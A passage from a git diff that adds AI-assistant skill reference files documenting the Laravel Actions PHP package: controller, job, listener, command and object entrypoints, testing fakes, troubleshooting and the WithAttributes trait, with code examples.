`asJob(JobDecorator $job, ...)`: access attempt metadata and queue-only branching. + +### Run as Listener + +- Register the action class as listener in `EventServiceProvider`. +- Use `asListener(EventName $event)` and delegate to `handle(...)`. + +### Run as Command + +- Define `$commandSignature` and `$commandDescription` properties. +- Implement `asCommand(Command $command)` and keep console IO in this method only. +- Import `Command` with `use Illuminate\Console\Command;`. + +## Testing Guidance + +Use a two-layer strategy: + +1. `handle(...)` tests for business correctness. +2. entrypoint tests (`asController`, `asJob`, `asListener`, `asCommand`) for wiring/orchestration. + +### Deep Dive: `AsFake` methods (2.x) + +Reference: https://www.laravelactions.com/2.x/as-fake.html + +Use these methods intentionally based on what you want to prove. + +#### `mock()` + +- Replaces the action with a full mock. +- Best when you need strict expectations and argument assertions. + +```php +PublishArticle::mock() + ->shouldReceive('handle') + ->once() + ->with(42) + ->andReturnTrue(); +``` + +#### `partialMock()` + +- Replaces the action with a partial mock. +- Best when you want to keep most real behavior but stub one expensive/internal method. + +```php +PublishArticle::partialMock() + ->shouldReceive('fetchRemoteData') + ->once() + ->andReturn(['ok' => true]); +``` + +#### `spy()` + +- Replaces the action with a spy. +- Best for post-execution verification ("was called with X") without predefining all expectations. + +```php +$spy = PublishArticle::spy()->allows('handle')->andReturnTrue(); + +// execute code that triggers the action... + +$spy->shouldHaveReceived('handle')->with(42); +``` + +#### `shouldRun()` + +- Shortcut for `mock()->shouldReceive('handle')`. +- Best for compact orchestration assertions. + +```php +PublishArticle::shouldRun()->once()->with(42)->andReturnTrue(); +``` + +#### `shouldNotRun()` + +- Shortcut for `mock()->shouldNotReceive('handle')`. +- Best for guard-clause tests and branch coverage. + +```php +PublishArticle::shouldNotRun(); +``` + +#### `allowToRun()` + +- Shortcut for spy + allowing `handle`. +- Best when you want execution to proceed but still assert interaction. + +```php +$spy = PublishArticle::allowToRun()->andReturnTrue(); +// ... +$spy->shouldHaveReceived('handle')->once(); +``` + +#### `isFake()` and `clearFake()` + +- `isFake()` checks whether the class is currently swapped. +- `clearFake()` resets the fake and prevents cross-test leakage. + +```php +expect(PublishArticle::isFake())->toBeFalse(); +PublishArticle::mock(); +expect(PublishArticle::isFake())->toBeTrue(); +PublishArticle::clearFake(); +expect(PublishArticle::isFake())->toBeFalse(); +``` + +### Recommended test matrix for Actions + +- Business rule test: call `handle(...)` directly with real dependencies/factories. +- HTTP wiring test: hit route/controller, fake downstream actions with `shouldRun` or `shouldNotRun`. +- Job wiring test: dispatch action as job, assert expected downstream action calls. +- Event listener test: dispatch event, assert action interaction via fake/spy. +- Console test: run artisan command, assert action invocation and output. + +### Practical defaults + +- Prefer `shouldRun()` and `shouldNotRun()` for readability in branch tests. +- Prefer `spy()`/`allowToRun()` when behavior is mostly real and you only need call verification. +- Prefer `mock()` when interaction contracts are strict and should fail fast. +- Use `clearFake()` in cleanup when a fake might leak into another test. +- Keep side effects isolated: fake only the action under test boundary, not everything. + +### Pest style examples + +```php +it('dispatches the downstream action', function () { + SendInvoiceEmail::shouldRun()->once()->withArgs(fn (int $invoiceId) => $invoiceId > 0); + + FinalizeInvoice::run(123); +}); + +it('does not dispatch when invoice is already sent', function () { + SendInvoiceEmail::shouldNotRun(); + + FinalizeInvoice::run(123, alreadySent: true); +}); +``` + +Run the minimum relevant suite first, e.g. `php artisan test --compact --filter=PublishArticle` or by specific test file. + +## Troubleshooting Checklist + +- Ensure the class uses `AsAction` and namespace matches autoload. +- Check route registration when used as controller. +- Check queue config when using `dispatch`. +- Verify event-to-listener mapping in `EventServiceProvider`. +- Keep transport concerns in adapter methods (`asController`, `asCommand`, etc.), not in `handle(...)`. + +## Common Pitfalls + +- Putting HTTP response/redirect logic inside `handle(...)` instead of `asController(...)`. +- Duplicating business rules across `as*` methods rather than delegating to `handle(...)`. +- Assuming listener wiring works without explicit registration where required. +- Testing only entrypoints and skipping direct `handle(...)` behavior tests. +- Overusing Actions for one-off, single-context logic with no reuse pressure. + +## Topic References + +Use these references for deep dives by entrypoint/topic. Keep `SKILL.md` focused on workflow and decision rules. + +- Object entrypoint: `references/object.md` +- Controller entrypoint: `references/controller.md` +- Job entrypoint: `references/job.md` +- Listener entrypoint: `references/listener.md` +- Command entrypoint: `references/command.md` +- With attributes: `references/with-attributes.md` +- Testing and fakes: `references/testing-fakes.md` +- Troubleshooting: `references/troubleshooting.md` \ No newline at end of file diff --git a/.claude/skills/laravel-actions/references/command.md b/.claude/skills/laravel-actions/references/command.md new file mode 100644 index 000000000..a7b255daf --- /dev/null +++ b/.claude/skills/laravel-actions/references/command.md @@ -0,0 +1,160 @@ +# Command Entrypoint (`asCommand`) + +## Scope + +Use this reference when exposing actions as Artisan commands. + +## Recap + +- Documents command execution via `asCommand(...)` and fallback to `handle(...)`. +- Covers command metadata via methods/properties (signature, description, help, hidden). +- Includes registration example and focused artisan test pattern. +- Reinforces separation between console I/O and domain logic. + +## Recommended pattern + +- Define `$commandSignature` and `$commandDescription`. +- Implement `asCommand(Command $command)` for console I/O. +- Keep business logic in `handle(...)`. + +## Methods used (`CommandDecorator`) + +### `asCommand` + +Called when executed as a command. If missing, it falls back to `handle(...)`. + +```php +use Illuminate\Console\Command; + +class UpdateUserRole +{ + use AsAction; + + public string $commandSignature = 'users:update-role {user_id} {role}'; + + public function handle(User $user, string $newRole): void + { + $user->update(['role' => $newRole]); + } + + public function asCommand(Command $command): void + { + $this->handle( + User::findOrFail($command->argument('user_id')), + $command->argument('role') + ); + + $command->info('Done!'); + } +} +``` + +### `getCommandSignature` + +Defines the command signature. Required when registering an action as a command if no `$commandSignature` property is set. + +```php +public function getCommandSignature(): string +{ + return 'users:update-role {user_id} {role}'; +} +``` + +### `$commandSignature` + +Property alternative to `getCommandSignature`. + +```php +public string $commandSignature = 'users:update-role {user_id} {role}'; +``` + +### `getCommandDescription` + +Provides command description. + +```php +public function getCommandDescription(): string +{ + return 'Updates the role of a given user.'; +} +``` + +### `$commandDescription` + +Property alternative to `getCommandDescription`. + +```php +public string $commandDescription = 'Updates the role of a given user.'; +``` + +### `getCommandHelp` + +Provides additional help text shown with `--help`. + +```php +public function getCommandHelp(): string +{ + return 'My help message.'; +} +``` + +### `$commandHelp` + +Property alternative to `getCommandHelp`. + +```php +public string $commandHelp = 'My help message.'; +``` + +### `isCommandHidden` + +Defines whether command should be hidden from artisan list. Default is `false`. + +```php +public function isCommandHidden(): bool +{ + return true; +} +``` + +### `$commandHidden` + +Property alternative to `isCommandHidden`. + +```php +public bool $commandHidden = true; +``` + +## Examples + +### Register in console kernel + +```php +// app/Console/Kernel.php +protected $commands = [ + UpdateUserRole::class, +]; +``` + +### Focused command test + +```php +$this->artisan('users:update-role 1 admin') + ->expectsOutput('Done!') + ->assertSuccessful(); +``` + +## Checklist + +- `use Illuminate\Console\Command;` is imported. +- Signature/options/arguments are documented. +- Command test verifies invocation and output. + +## Common pitfalls + +- Mixing command I/O with domain logic in `handle(...)`. +- Missing/ambiguous command signature. + +## References + +- https://www.laravelactions.com/2.x/as-command.html \ No newline at end of file diff --git a/.claude/skills/laravel-actions/references/controller.md b/.claude/skills/laravel-actions/references/controller.md new file mode 100644 index 000000000..d48c34df8 --- /dev/null +++ b/.claude/skills/laravel-actions/references/controller.md @@ -0,0 +1,339 @@ +# Controller Entrypoint (`asController`) + +## Scope + +Use this reference when exposing an action through HTTP routes. + +## Recap + +- Documents controller lifecycle around `asController(...)` and response adapters. +- Covers routing patterns, middleware, and optional in-action `routes()` registration. +- Summarizes validation/authorization hooks used by `ActionRequest`. +- Provides extension points for JSON/HTML responses and failure customization. + +## Recommended pattern + +- Route directly to action class when appropriate. +- Keep HTTP adaptation in controller methods (`asController`, `jsonResponse`, `htmlResponse`). +- Keep domain logic in `handle(...)`. + +## Methods provided (`AsController` trait) + +### `__invoke` + +Required so Laravel can register the action class as an invokable controller. + +```php +$action($someArguments); + +// Equivalent to: +$action->handle($someArguments); +``` + +If the method does not exist, Laravel route registration fails for invokable controllers. + +```php +// Illuminate\Routing\RouteAction +protected static function makeInvokable($action) +{ + if (! method_exists($action, '__invoke')) { + throw new UnexpectedValueException("Invalid route action: [{$action}]."); + } + + return $action.'@__invoke'; +} +``` + +If you need your own `__invoke`, alias the trait implementation: + +```php +class MyAction +{ + use AsAction { + __invoke as protected invokeFromLaravelActions; + } + + public function __invoke() + { + // Custom behavior... + } +} +``` + +## Methods used (`ControllerDecorator` + `ActionRequest`) + +### `asController` + +Called when used as invokable controller. If missing, it falls back to `handle(...)`. + +```php +public function asController(User $user, Request $request): Response +{ + $article = $this->handle( + $user, + $request->get('title'), + $request->get('body') + ); + + return redirect()->route('articles.show', [$article]); +} +``` + +### `jsonResponse` + +Called after `asController` when request expects JSON. + +```php +public function jsonResponse(Article $article, Request $request): ArticleResource +{ + return new ArticleResource($article); +} +``` + +### `htmlResponse` + +Called after `asController` when request expects HTML. + +```php +public function htmlResponse(Article $article, Request $request): Response +{ + return redirect()->route('articles.show', [$article]); +} +``` + +### `getControllerMiddleware` + +Adds middleware directly on the action controller. + +```php +public function getControllerMiddleware(): array +{ + return ['auth', MyCustomMiddleware::class]; +} +``` + +### `routes` + +Defines routes directly in the action. + +```php +public static function routes(Router $router) +{ + $router->get('author/{author}/articles', static::class); +} +``` + +To enable this, register routes from actions in a service provider: + +```php +use Lorisleiva\Actions\Facades\Actions; + +Actions::registerRoutes(); +Actions::registerRoutes('app/MyCustomActionsFolder'); +Actions::registerRoutes([ + 'app/Authentication', + 'app/Billing', + 'app/TeamManagement', +]); +``` + +### `prepareForValidation` + +Called before authorization and validation are resolved. + +```php +public function prepareForValidation(ActionRequest $request): void +{ + $request->merge(['some' => 'additional data']); +} +``` + +### `authorize` + +Defines authorization logic. + +```php +public function authorize(ActionRequest $request): bool +{ + return $request->user()->role === 'author'; +} +``` + +You can also return gate responses: + +```php +use Illuminate\Auth\Access\Response; + +public function authorize(ActionRequest $request): Response +{ + if ($request->user()->role !== 'author') { + return Response::deny('You must be an author to create a new article.'); + } + + return Response::allow(); +} +``` + +### `rules` + +Defines validation rules. + +```php +public function rules(): array +{ + return [ + 'title' => ['required', 'min:8'], + 'body' => ['required', IsValidMarkdown::class], + ]; +} +``` + +### `withValidator` + +Adds custom validation logic with an after hook. + +```php +use Illuminate\Validation\Validator; + +public function withValidator(Validator $validator, ActionRequest $request): void +{ + $validator->after(function (Validator $validator) use ($request) { + if (! Hash::check($request->get('current_password'), $request->user()->password)) { + $validator->errors()->add('current_password', 'Wrong password.'); + } + }); +} +``` + +### `afterValidator` + +Alternative to add post-validation checks. + +```php +use Illuminate\Validation\Validator; + +public function afterValidator(Validator $validator, ActionRequest $request): void +{ + if (! Hash::check($request->get('current_password'), $request->user()->password)) { + $validator->errors()->add('current_password', 'Wrong password.'); + } +} +``` + +### `getValidator` + +Provides a custom validator instead of default rules pipeline. + +```php +use Illuminate\Validation\Factory; +use Illuminate\Validation\Validator; + +public function getValidator(Factory $factory, ActionRequest $request): Validator +{ + return $factory->make($request->only('title', 'body'), [ + 'title' => ['required', 'min:8'], + 'body' => ['required', IsValidMarkdown::class], + ]); +} +``` + +### `getValidationData` + +Defines which data is validated (default: `$request->all()`). + +```php +public function getValidationData(ActionRequest $request): array +{ + return $request->all(); +} +``` + +### `getValidationMessages` + +Custom validation error messages. + +```php +public function getValidationMessages(): array +{ + return [ + 'title.required' => 'Looks like you forgot the title.', + 'body.required' => 'Is that really all you have to say?', + ]; +} +``` + +### `getValidationAttributes` + +Human-friendly names for request attributes. + +```php +public function getValidationAttributes(): array +{ + return [ + 'title' => 'headline', + 'body' => 'content', + ]; +} +``` + +### `getValidationRedirect` + +Custom redirect URL on validation failure. + +```php +public function getValidationRedirect(UrlGenerator $url): string +{ + return $url->to('/my-custom-redirect-url'); +} +``` + +### `getValidationErrorBag` + +Custom error bag name on validation failure (default: `default`). + +```php +public function getValidationErrorBag(): string +{ + return 'my_custom_error_bag'; +} +``` + +### `getValidationFailure` + +Override validation failure behavior. + +```php +public function getValidationFailure(): void +{ + throw new MyCustomValidationException(); +} +``` + +### `getAuthorizationFailure` + +Override authorization failure behavior. + +```php +public function getAuthorizationFailure(): void +{ + throw new MyCustomAuthorizationException(); +} +``` + +## Checklist + +- Route wiring points to the action class. +- `asController(...)` delegates to `handle(...)`. +- Validation/authorization methods are explicit where needed. +- Response mapping is split by channel (`jsonResponse`, `htmlResponse`) when useful. +- HTTP tests cover both success and validation/authorization failure branches. + +## Common pitfalls + +- Putting response/redirect logic in `handle(...)`. +- Duplicating business rules in `asController(...)` instead of delegating. +- Assuming action route discovery works without `Actions::registerRoutes(...)` when using in-action `routes()`. + +## References + +- https://www.laravelactions.com/2.x/as-controller.html \ No newline at end of file diff --git a/.claude/skills/laravel-actions/references/job.md b/.claude/skills/laravel-actions/references/job.md new file mode 100644 index 000000000..b4c7cbea0 --- /dev/null +++ b/.claude/skills/laravel-actions/references/job.md @@ -0,0 +1,425 @@ +# Job Entrypoint (`dispatch`, `asJob`) + +## Scope + +Use this reference when running an action through queues. + +## Recap + +- Lists async/sync dispatch helpers and conditional dispatch variants. +- Covers job wrapping/chaining with `makeJob`, `makeUniqueJob`, and `withChain`. +- Documents queue assertion helpers for tests (`assertPushed*`). +- Summarizes `JobDecorator` hooks/properties for retries, uniqueness, timeout, and failure handling. + +## Recommended pattern + +- Dispatch with `Action::dispatch(...)` for async execution. +- Keep queue-specific orchestration in `asJob(...)`. +- Keep reusable business logic in `handle(...)`. + +## Methods provided (`AsJob` trait) + +### `dispatch` + +Dispatches the action asynchronously. + +```php +SendTeamReportEmail::dispatch($team); +``` + +### `dispatchIf` + +Dispatches asynchronously only if condition is met. + +```php +SendTeamReportEmail::dispatchIf($team->plan === 'premium', $team); +``` + +### `dispatchUnless` + +Dispatches asynchronously unless condition is met. + +```php +SendTeamReportEmail::dispatchUnless($team->plan === 'free', $team); +``` + +### `dispatchSync` + +Dispatches synchronously. + +```php +SendTeamReportEmail::dispatchSync($team); +``` + +### `dispatchNow` + +Alias of `dispatchSync`. + +```php +SendTeamReportEmail::dispatchNow($team); +``` + +### `dispatchAfterResponse` + +Dispatches synchronously after the HTTP response is sent. + +```php +SendTeamReportEmail::dispatchAfterResponse($team); +``` + +### `makeJob` + +Creates a `JobDecorator` wrapper. Useful with `dispatch(...)` helper or chains. + +```php +dispatch(SendTeamReportEmail::makeJob($team)); +``` + +### `makeUniqueJob` + +Creates a `UniqueJobDecorator` wrapper. Usually automatic with `ShouldBeUnique`, but can be forced. + +```php +dispatch(SendTeamReportEmail::makeUniqueJob($team)); +``` + +### `withChain` + +Attaches jobs to run after successful processing. + +```php +$chain = [ + OptimizeTeamReport::makeJob($team), + SendTeamReportEmail::makeJob($team), +]; + +CreateNewTeamReport::withChain($chain)->dispatch($team); +``` + +Equivalent using `Bus::chain(...)`: + +```php +use Illuminate\Support\Facades\Bus; + +Bus::chain([ + CreateNewTeamReport::makeJob($team), + OptimizeTeamReport::makeJob($team), + SendTeamReportEmail::makeJob($team), +])->dispatch(); +``` + +Chain assertion example: + +```php +use Illuminate\Support\Facades\Bus; + +Bus::fake(); + +Bus::assertChained([ + CreateNewTeamReport::makeJob($team), + OptimizeTeamReport::makeJob($team), + SendTeamReportEmail::makeJob($team), +]); +``` + +### `assertPushed` + +Asserts the action was queued. + +```php +use Illuminate\Support\Facades\Queue; + +Queue::fake(); + +SendTeamReportEmail::assertPushed(); +SendTeamReportEmail::assertPushed(3); +SendTeamReportEmail::assertPushed($callback); +SendTeamReportEmail::assertPushed(3, $callback); +``` + +`$callback` receives: +- Action instance. +- Dispatched arguments. +- `JobDecorator` instance. +- Queue name. + +### `assertNotPushed` + +Asserts the action was not queued. + +```php +use Illuminate\Support\Facades\Queue; + +Queue::fake(); + +SendTeamReportEmail::assertNotPushed(); +SendTeamReportEmail::assertNotPushed($callback); +``` + +### `assertPushedOn` + +Asserts the action was queued on a specific queue. + +```php +use Illuminate\Support\Facades\Queue; + +Queue::fake(); + +SendTeamReportEmail::assertPushedOn('reports'); +SendTeamReportEmail::assertPushedOn('reports', 3); +SendTeamReportEmail::assertPushedOn('reports', $callback); +SendTeamReportEmail::assertPushedOn('reports', 3, $callback); +``` + +## Methods used (`JobDecorator`) + +### `asJob` + +Called when dispatched as a job. Falls back to `handle(...)` if missing. + +```php +class SendTeamReportEmail +{ + use AsAction; + + public function handle(Team $team, bool $fullReport = false): void + { + // Prepare report and send it to all $team->users. + } + + public function asJob(Team $team): void + { + $this->handle($team, true); + } +} +``` + +### `getJobMiddleware` + +Adds middleware to the queued action. + +```php +public function getJobMiddleware(array $parameters): array +{ + return [new RateLimited('reports')]; +} +``` + +### `configureJob` + +Configures `JobDecorator` options. + +```php +use Lorisleiva\Actions\Decorators\JobDecorator; + +public function configureJob(JobDecorator $job): void +{ + $job->onConnection('my_connection') + ->onQueue('my_queue') + ->through(['my_middleware']) + ->chain(['my_chain']) + ->delay(60); +} +``` + +### `$jobConnection` + +Defines queue connection. + +```php +public string $jobConnection = 'my_connection'; +``` + +### `$jobQueue` + +Defines queue name. + +```php +public string $jobQueue = 'my_queue'; +``` + +### `$jobTries` + +Defines max attempts. + +```php +public int $jobTries = 10; +``` + +### `$jobMaxExceptions` + +Defines max unhandled exceptions before failure. + +```php +public int $jobMaxExceptions = 3; +``` + +### `$jobBackoff` + +Defines retry delay seconds. + +```php +public int $jobBackoff = 60; +``` + +### `getJobBackoff` + +Defines retry delay (int or per-attempt array). + +```php +public function getJobBackoff(): int +{ + return 60; +} + +public function getJobBackoff(): array +{ + return [30, 60, 120]; +} +``` + +### `$jobTimeout` + +Defines timeout in seconds. + +```php +public int $jobTimeout = 60 * 30; +``` + +### `$jobRetryUntil` + +Defines timestamp retry deadline. + +```php +public int $jobRetryUntil = 1610191764; +``` + +### `getJobRetryUntil` + +Defines retry deadline as `DateTime`. + +```php +public function getJobRetryUntil(): DateTime +{ + return now()->addMinutes(30); +} +``` + +### `getJobDisplayName` + +Customizes queued job display name. + +```php +public function getJobDisplayName(): string +{ + return 'Send team report email'; +} +``` + +### `getJobTags` + +Adds queue tags. + +```php +public function getJobTags(Team $team): array +{ + return ['report', 'team:'.$team->id]; +} +``` + +### `getJobUniqueId` + +Defines uniqueness key when using `ShouldBeUnique`. + +```php +public function getJobUniqueId(Team $team): int +{ + return $team->id; +} +``` + +### `$jobUniqueId` + +Static uniqueness key alternative. + +```php +public string $jobUniqueId = 'some_static_key'; +``` + +### `getJobUniqueFor` + +Defines uniqueness lock duration in seconds. + +```php +public function getJobUniqueFor(Team $team): int +{ + return $team->role === 'premium' ? 1800 : 3600; +} +``` + +### `$jobUniqueFor` + +Property alternative for uniqueness lock duration. + +```php +public int $jobUniqueFor = 3600; +``` + +### `getJobUniqueVia` + +Defines cache driver used for uniqueness lock. + +```php +public function getJobUniqueVia() +{ + return Cache::driver('redis'); +} +``` + +### `$jobDeleteWhenMissingModels` + +Property alternative for missing model handling. + +```php +public bool $jobDeleteWhenMissingModels = true; +``` + +### `getJobDeleteWhenMissingModels` + +Defines whether jobs with missing models are deleted. + +```php +public function getJobDeleteWhenMissingModels(): bool +{ + return true; +} +``` + +### `jobFailed` + +Handles job failure. Receives exception and dispatched parameters. + +```php +public function jobFailed(?Throwable $e, ...$parameters): void +{ + // Notify users, report errors, trigger compensations... +} +``` + +## Checklist + +- Async/sync dispatch method matches use-case (`dispatch`, `dispatchSync`, `dispatchAfterResponse`). +- Queue config is explicit when needed (`$jobConnection`, `$jobQueue`, `configureJob`). +- Retry/backoff/timeout policies are intentional. +- `asJob(...)` delegates to `handle(...)` unless queue-specific branching is required. +- Queue tests use `Queue::fake()` and action assertions (`assertPushed*`). + +## Common pitfalls + +- Embedding domain logic only in `asJob(...)`. +- Forgetting uniqueness/timeout/retry controls on heavy jobs. +- Missing queue-specific assertions in tests. + +## References + +- https://www.laravelactions.com/2.x/as-job.html \ No newline at end of file diff --git a/.claude/skills/laravel-actions/references/listener.md b/.claude/skills/laravel-actions/references/listener.md new file mode 100644 index 000000000..c5233001d --- /dev/null +++ b/.claude/skills/laravel-actions/references/listener.md @@ -0,0 +1,81 @@ +# Listener Entrypoint (`asListener`) + +## Scope + +Use this reference when wiring actions to domain/application events. + +## Recap + +- Shows how listener execution maps event payloads into `handle(...)` arguments. +- Describes `asListener(...)` fallback behavior and adaptation role. +- Includes event registration example for provider wiring. +- Emphasizes test focus on dispatch and action interaction. + +## Recommended pattern + +- Register action listener in `EventServiceProvider` (or project equivalent). +- Use `asListener(Event $event)` for event adaptation. +- Delegate core logic to `handle(...)`. + +## Methods used (`ListenerDecorator`) + +### `asListener` + +Called when executed as an event listener. If missing, it falls back to `handle(...)`. + +```php +class SendOfferToNearbyDrivers +{ + use AsAction; + + public function handle(Address $source, Address $destination): void + { + // ... + } + + public function asListener(TaxiRequested $event): void + { + $this->handle($event->source, $event->destination); + } +} +``` + +## Examples + +### Event registration + +```php +// app/Providers/EventServiceProvider.php +protected $listen = [ + TaxiRequested::class => [ + SendOfferToNearbyDrivers::class, + ], +]; +``` + +### Focused listener test + +```php +use Illuminate\Support\Facades\Event; + +Event::fake(); + +TaxiRequested::dispatch($source, $destination); + +Event::assertDispatched(TaxiRequested::class); +``` + +## Checklist + +- Event-to-listener mapping is registered. +- Listener method signature matches event contract. +- Listener tests verify dispatch and action interaction. + +## Common pitfalls + +- Assuming automatic listener registration when explicit mapping is required. +- Re-implementing business logic in `asListener(...)`. + +## References + +- https://www.laravelactions.com/2.x/as-listener.html \ No newline at end of file diff --git a/.claude/skills/laravel-actions/references/object.md b/.claude/skills/laravel-actions/references/object.md new file mode 100644 index 000000000..6a90be4d5 --- /dev/null +++ b/.claude/skills/laravel-actions/references/object.md @@ -0,0 +1,118 @@ +# Object Entrypoint (`run`, `make`, DI) + +## Scope + +Use this reference when the action is invoked as a plain object. + +## Recap + +- Explains object-style invocation with `make`, `run`, `runIf`, `runUnless`. +- Clarifies when to use static helpers versus DI/manual invocation. +- Includes minimal examples for direct run and service-level injection. +- Highlights boundaries: business logic stays in `handle(...)`. + +## Recommended pattern + +- Keep core business logic in `handle(...)`. +- Prefer `Action::run(...)` for readability. +- Use `Action::make()->handle(...)` or DI only when needed. + +## Methods provided + +### `make` + +Resolves the action from the container. + +```php +PublishArticle::make(); + +// Equivalent to: +app(PublishArticle::class); +``` + +### `run` + +Resolves and executes the action. + +```php +PublishArticle::run($articleId); + +// Equivalent to: +PublishArticle::make()->handle($articleId); +``` + +### `runIf` + +Resolves and executes the action only if the condition is met. + +```php +PublishArticle::runIf($shouldPublish, $articleId); + +// Equivalent mental model: +if ($shouldPublish) { + PublishArticle::run($articleId); +} +``` + +### `runUnless` + +Resolves and executes the action only if the condition is not met. + +```php +PublishArticle::runUnless($alreadyPublished, $articleId); + +// Equivalent mental model: +if (! $alreadyPublished) { + PublishArticle::run($articleId); +} +``` + +## Checklist + +- Input/output types are explicit. +- `handle(...)` has no transport concerns. +- Business behavior is covered by direct `handle(...)` tests. + +## Common pitfalls + +- Putting HTTP/CLI/queue concerns in `handle(...)`. +- Calling adapters from `handle(...)` instead of the reverse. + +## References + +- https://www.laravelactions.com/2.x/as-object.html + +## Examples + +### Minimal object-style invocation + +```php +final class PublishArticle +{ + use AsAction; + + public function handle(int $articleId): bool + { + // Domain logic... + return true; + } +} + +$published = PublishArticle::run(42); +``` + +### Dependency injection invocation + +```php +final class ArticleService +{ + public function __construct( + private PublishArticle $publishArticle + ) {} + + public function publish(int $articleId): bool + { + return $this->publishArticle->handle($articleId); + } +} +``` \ No newline at end of file diff --git a/.claude/skills/laravel-actions/references/testing-fakes.md b/.claude/skills/laravel-actions/references/testing-fakes.md new file mode 100644 index 000000000..97766e6ce --- /dev/null +++ b/.claude/skills/laravel-actions/references/testing-fakes.md @@ -0,0 +1,160 @@ +# Testing and Action Fakes + +## Scope + +Use this reference when isolating action orchestration in tests. + +## Recap + +- Summarizes all `AsFake` helpers (`mock`, `partialMock`, `spy`, `shouldRun`, `shouldNotRun`, `allowToRun`). +- Clarifies when to assert execution versus non-execution. +- Covers fake lifecycle checks/reset (`isFake`, `clearFake`). +- Provides branch-oriented test examples for orchestration confidence. + +## Core methods + +- `mock()` +- `partialMock()` +- `spy()` +- `shouldRun()` +- `shouldNotRun()` +- `allowToRun()` +- `isFake()` +- `clearFake()` + +## Recommended pattern + +- Test `handle(...)` directly for business rules. +- Test entrypoints for wiring/orchestration. +- Fake only at the boundary under test. + +## Methods provided (`AsFake` trait) + +### `mock` + +Swaps the action with a full mock. + +```php +FetchContactsFromGoogle::mock() + ->shouldReceive('handle') + ->with(42) + ->andReturn(['Loris', 'Will', 'Barney']); +``` + +### `partialMock` + +Swaps the action with a partial mock. + +```php +FetchContactsFromGoogle::partialMock() + ->shouldReceive('fetch') + ->with('some_google_identifier') + ->andReturn(['Loris', 'Will', 'Barney']); +``` + +### `spy` + +Swaps the action with a spy. + +```php +$spy = FetchContactsFromGoogle::spy() + ->allows('handle') + ->andReturn(['Loris', 'Will', 'Barney']); + +// ... + +$spy->shouldHaveReceived('handle')->with(42); +``` + +### `shouldRun` + +Helper adding expectation on `handle`. + +```php +FetchContactsFromGoogle::shouldRun(); + +// Equivalent to: +FetchContactsFromGoogle::mock()->shouldReceive('handle'); +``` + +### `shouldNotRun` + +Helper adding negative expectation on `handle`. + +```php +FetchContactsFromGoogle::shouldNotRun(); + +// Equivalent to: +FetchContactsFromGoogle::mock()->shouldNotReceive('handle'); +``` + +### `allowToRun` + +Helper allowing `handle` on a spy. + +```php +$spy = FetchContactsFromGoogle::allowToRun() + ->andReturn(['Loris', 'Will', 'Barney']); + +// ... + +$spy->shouldHaveReceived('handle')->with(42); +``` + +### `isFake` + +Returns whether the action has been swapped with a fake. + +```php +FetchContactsFromGoogle::isFake(); // false +FetchContactsFromGoogle::mock(); +FetchContactsFromGoogle::isFake(); // true +``` + +### `clearFake` + +Clears the fake instance, if any. + +```php +FetchContactsFromGoogle::mock(); +FetchContactsFromGoogle::isFake(); // true +FetchContactsFromGoogle::clearFake(); +FetchContactsFromGoogle::isFake(); // false +``` + +## Examples + +### Orchestration test + +```php +it('runs sync contacts for premium teams', function () { + SyncGoogleContacts::shouldRun()->once()->with(42)->andReturnTrue(); + + ImportTeamContacts::run(42, isPremium: true); +}); +``` + +### Guard-clause test + +```php +it('does not run sync when integration is disabled', function () { + SyncGoogleContacts::shouldNotRun(); + + ImportTeamContacts::run(42, integrationEnabled: false); +}); +``` + +## Checklist + +- Assertions verify call intent and argument contracts. +- Fakes are cleared when leakage risk exists. +- Branch tests use `shouldRun()` / `shouldNotRun()` where clearer. + +## Common pitfalls + +- Over-mocking and losing behavior confidence. +- Asserting only dispatch, not business correctness. + +## References + +- https://www.laravelactions.com/2.x/as-fake.html \ No newline at end of file diff --git a/.claude/skills/laravel-actions/references/troubleshooting.md b/.claude/skills/laravel-actions/references/troubleshooting.md new file mode 100644 index 000000000..cf6a5800f --- /dev/null +++ b/.claude/skills/laravel-actions/references/troubleshooting.md @@ -0,0 +1,33 @@ +# Troubleshooting + +## Scope + +Use this reference when action wiring behaves unexpectedly. + +## Recap + +- Provides a fast triage flow for routing, queueing, events, and command wiring. +- Lists recurring failure patterns and where to check first. +- Encourages reproducing issues with focused tests before broad debugging. +- Separates wiring diagnostics from domain logic verification. + +## Fast checks + +- Action class uses `AsAction`. +- Namespace and autoloading are correct. +- Entrypoint wiring (route, queue, event, command) is registered. +- Method signatures and argument types match caller expectations. + +## Failure patterns + +- Controller route points to wrong class. +- Queue worker/config mismatch. +- Listener mapping not loaded. +- Command signature mismatch. +- Command not registered in the console kernel. + +## Debug checklist + +- Reproduce with a focused failing test. +- Validate wiring layer first, then domain behavior. +- Isolate dependencies with fakes/spies where appropriate. \ No newline at end of file diff --git a/.claude/skills/laravel-actions/references/with-attributes.md b/.claude/skills/laravel-actions/references/with-attributes.md new file mode 100644 index 000000000..1b28cf2cb --- /dev/null +++ b/.claude/skills/laravel-actions/references/with-attributes.md @@ -0,0 +1,189 @@ +# With Attributes (`WithAttributes` trait) + +## Scope + +Use this reference when an action stores and validates input via internal attributes instead of method arguments. + +## Recap + +- Documents attribute lifecycle APIs (`setRawAttributes`, `fill`, `fillFromRequest`, readers/writers). +- Clarifies behavior of key collisions (`fillFromRequest`: request data wins over route params). +- Lists validation/authorization hooks reused from controller validation pipeline. +- Includes end-to-end example from fill to `validateAttributes()` and `handle(...)`. + +## Methods provided (`WithAttributes` trait) + +### `setRawAttributes` + +Replaces all attributes with the provided payload. + +```php +$action->setRawAttributes([ + 'key' => 'value', +]); +``` + +### `fill` + +Merges provided attributes into existing attributes. + +```php +$action->fill([ + 'key' => 'value', +]); +``` + +### `fillFromRequest` + +Merges request input and route parameters into attributes. Request input has priority over route parameters when keys collide. + +```php +$action->fillFromRequest($request); +``` + +### `all` + +Returns all attributes. + +```php +$action->all(); +``` + +### `only` + +Returns attributes matching the provided keys. + +```php +$action->only('title', 'body'); +``` + +### `except` + +Returns attributes excluding the provided keys. + +```php +$action->except('body'); +``` + +### `has` + +Returns whether an attribute exists for the given key. + +```php +$action->has('title'); +``` + +### `get` + +Returns the attribute value by key, with optional default. + +```php +$action->get('title'); +$action->get('title', 'Untitled'); +``` + +### `set` + +Sets an attribute value by key. + +```php +$action->set('title', 'My blog post'); +``` + +### `__get` + +Accesses attributes as object properties. + +```php +$action->title; +``` + +### `__set` + +Updates attributes as object properties. + +```php +$action->title = 'My blog post'; +``` + +### `__isset` + +Checks attribute existence as object properties. + +```php +isset($action->title); +``` + +### `validateAttributes` + +Runs authorization and validation using action attributes and returns validated data. + +```php +$validatedData = $action->validateAttributes(); +``` + +## Methods used (`AttributeValidator`) + +`WithAttributes` uses the same authorization/validation hooks as `AsController`: 